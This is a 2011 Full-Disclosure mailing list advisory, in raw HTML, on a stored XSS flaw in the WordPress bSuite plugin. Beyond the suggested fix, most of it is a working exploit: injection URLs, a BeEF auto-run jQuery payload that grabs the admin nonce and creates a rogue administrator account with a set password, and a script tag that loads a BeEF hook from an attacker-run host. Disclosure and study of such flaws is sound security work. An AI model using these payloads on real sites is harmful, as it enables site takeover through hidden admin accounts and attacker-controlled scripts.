[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] bsuite <= 4.0.7 Permanent XSS (Remote add admin) - Wordpress plugin
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] bsuite <= 4.0.7 Permanent XSS (Remote add admin) - Wordpress plugin
- From: R00T_ATI <r00t_ati@xxxxxxxxxx>
- Date: Mon, 18 Jul 2011 23:18:07 +0200
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-15">
</head>
<body bgcolor="#FFFFFF" text="#000000">
Original advisory:
<a class="moz-txt-link-freetext"
href="http://www.ihteam.net/advisory/bsuite-wordpress-permanent-xss/">http://www.ihteam.net/advisory/bsuite-wordpress-permanent-xss/</a><br>
<br>
<p><strong>WordPress bSuite <= 4.0.7 Permanent XSS -> Add
Admin</strong><br>
<strong>Download link:</strong>
<a class="moz-txt-link-freetext"
href="http://wordpress.org/extend/plugins/bsuite/">http://wordpress.org/extend/plugins/bsuite/</a><br>
<strong> Author contact:</strong> 29/06/2011<br>
<strong>POC published:</strong> 11/07/2011<br>
Plugin is out-of-date, last update on 2009, so this is just a POC
that show how to made the XSS more useful <img
src="cid:part1.01040902.03010603@ihteam.net" alt=";)"
class="wp-smiley"> </p>
<p><strong>FIX:</strong> Add htmlspecialchars to output</p>
<p><strong>Bug found by:</strong> IHTeam<br>
Simone `R00T_ATI` Quatrini<br>
Marco `white_sheep` Rondini<br>
Francesco `merlok` Morucci<br>
Mauro `epicfail` Gasperini</p>
<p><strong>Follow us on Twitter! <a
href="http://twitter.com/IHTeam">@IHTeam</a></strong></p>
<p><strong>CHECK BSUITE:</strong></p>
<p><a class="moz-txt-link-freetext"
href="http://192.168.1.100/wordpress/plugins/bsuite/js/bsuite.js">http://192.168.1.100/wordpress/plugins/bsuite/js/bsuite.js</a></p>
<p><strong>PERMANENT XSS POC:</strong><br>
You can inject XSS in different way, for example:</p>
<p><a class="moz-txt-link-freetext"
href="http://192.168.1.100/wordpress/?s=">http://192.168.1.100/wordpress/?s=</a><h2>XSSED</h2></p>
<p>or directly in URL:</p>
<p><a class="moz-txt-link-freetext"
href="http://192.168.1.100/wordpress/?p=1&">http://192.168.1.100/wordpress/?p=1&</a><h1>XSSED</h1></p>
<p>Now, when admin enter in bSuite panel, will see the XSSED code<br>
<a
href="http://www.ihteam.net/wp-content/uploads/bsuite_XSSED.jpeg"><br>
</a></p>
<p><strong>XSS TO REMOTE ADMIN ADD:<br>
</strong>We will use <a href="http://beefproject.com/"
target="_blank">beef </a>to do that part. So:</p>
<ol>
<li>Run beef on you local machine</li>
<li>Enable auto-run that code:</li>
</ol>
<blockquote>
<p>jQuery(“<div>”, {<br>
id: “testbeef”<br>
}).appendTo(“#screen-meta-links”);<br>
jQuery.get(“user-new.php”, function(data) {<br>
jQuery(“#testbeef”).html(data);<br>
var nonce=jQuery(“#_wpnonce_create-user”).val();<br>
jQuery(“#testbeef”).html(“”);</p>
<p>jQuery.post(“user-new.php”, {<br>
“_wp_http_referer”:
“/wordpress/wp-admin/user-new.php”,<br>
“_wpnonce_create-user”: nonce,<br>
action: “createuser”,<br>
createuser: “Add New User”,<br>
email: “<a class="moz-txt-link-abbreviated"
href="mailto:hax0rmail@xxxxxxxx">hax0rmail@xxxxxxxx</a>”,<br>
first_name: “”,<br>
last_name: “”,<br>
pass1: “123123hello”,<br>
pass2: “123123hello”,<br>
role: “administrator”,<br>
url: “”,<br>
user_login: “hax0r”<br>
});</p>
<p>});</p>
</blockquote>
<p>We make 2 request to <em>/wordpress/wp-admin/user-new.php</em>
because we need to grab <em>_wpnonce_create-user</em> value.</p>
<ol>
<li>First create a new div with ID <em>testbeef</em></li>
<li>Request user-new.php and append content to the DIV</li>
<li>Grab _wpnonce_create-user value to nonce variable</li>
<li>Clean the DIV content;</li>
<li>Make a POST request to user-new.php with the correct values</li>
</ol>
<p>Review the code to change _wp_http_referer, pass1, pass2 and
user_login of the POST request.<br>
Now it’s time to inject the beef control script in bSuite like
this:</p>
<p><a class="moz-txt-link-freetext"
href="http://192.168.1.100/s=">http://192.168.1.100/s=</a><script
src=”<a class="moz-txt-link-freetext"
href="http://192.168.1.102/beef/hook/beefmagic.js.php”">http://192.168.1.102/beef/hook/beefmagic.js.php”</a>></script></p>
You may wait 1h to 5h for bSuit refresh. It will result in new admin
with username: <em>haxor</em> and password: <em>123123hello</em><br>
</body>
</html>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/